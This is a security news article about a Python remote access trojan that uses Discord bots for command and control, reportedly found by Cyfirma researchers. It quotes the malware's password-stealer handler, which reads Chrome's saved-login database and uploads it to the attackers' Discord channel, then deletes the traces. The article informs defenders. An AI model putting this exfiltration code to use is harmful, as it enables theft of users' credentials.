A newly discovered, advanced Remote Access Trojan (RAT) written in Python is using Discord as its command and control hub to target users globally.
This malicious software allows attackers to execute arbitrary commands on infected systems, capture screenshots, and, most alarmingly, extract saved login details from web browsers.
The use of Discord as the delivery method for this attack is particularly alarming. Since Discord is a widely trusted platform, this exploit could affect millions of users across both gaming and professional networks.
Once installed on a victim’s machine, the RAT runs a Discord bot with elevated permissions, allowing it to monitor messages and carry out malicious instructions.
The malware creates a persistent communication channel through a dedicated Discord server, enabling attackers to maintain remote access without raising alarms with conventional network security tools that may overlook Discord traffic.
The most dangerous feature of this malware is its ability to steal passwords. Once triggered, the RAT targets the credential database of Google Chrome, retrieves saved passwords, and sends them to the attackers via Discord’s file-sharing system.
Cyfirma researchers discovered this threat through detailed code analysis, revealing the complexity and sophistication of the attack.
“Discord-based attacks have evolved significantly,” said Cyfirma’s research team. “The blend of abusing a legitimate platform and remote access capabilities presents serious security concerns for both individuals and organizations.”
Manipulation of Discord Servers (Source: Cyfirma)
The password theft function is executed through this piece of code:
pythonCopyEditelif message.content == "Sending Command #2 - Password Stealer" and message.channel.id == channelid:
username = os.getlogin()
try:
passwords = open(f"C:/Users/{username}/AppData/Local/Google/Chrome/User Data/Default/Login Data", "rb").read()
await message.channel.send("Password Stealer:", file=discord.File(io.BytesIO(passwords), filename="passwords.db"))
await message.delete()
await message.channel.send("Command Completed!", delete_after=5)
except FileNotFoundError:
await message.channel.send("No passwords found!", delete_after=5)
return
This code specifically targets Chrome’s Login Data file, which contains sensitive user credentials. It sends the entire file to the attackers through Discord’s file-sharing feature.
To cover its tracks, the malware deletes any evidence of the command’s execution, making it harder for victims to detect the attack.
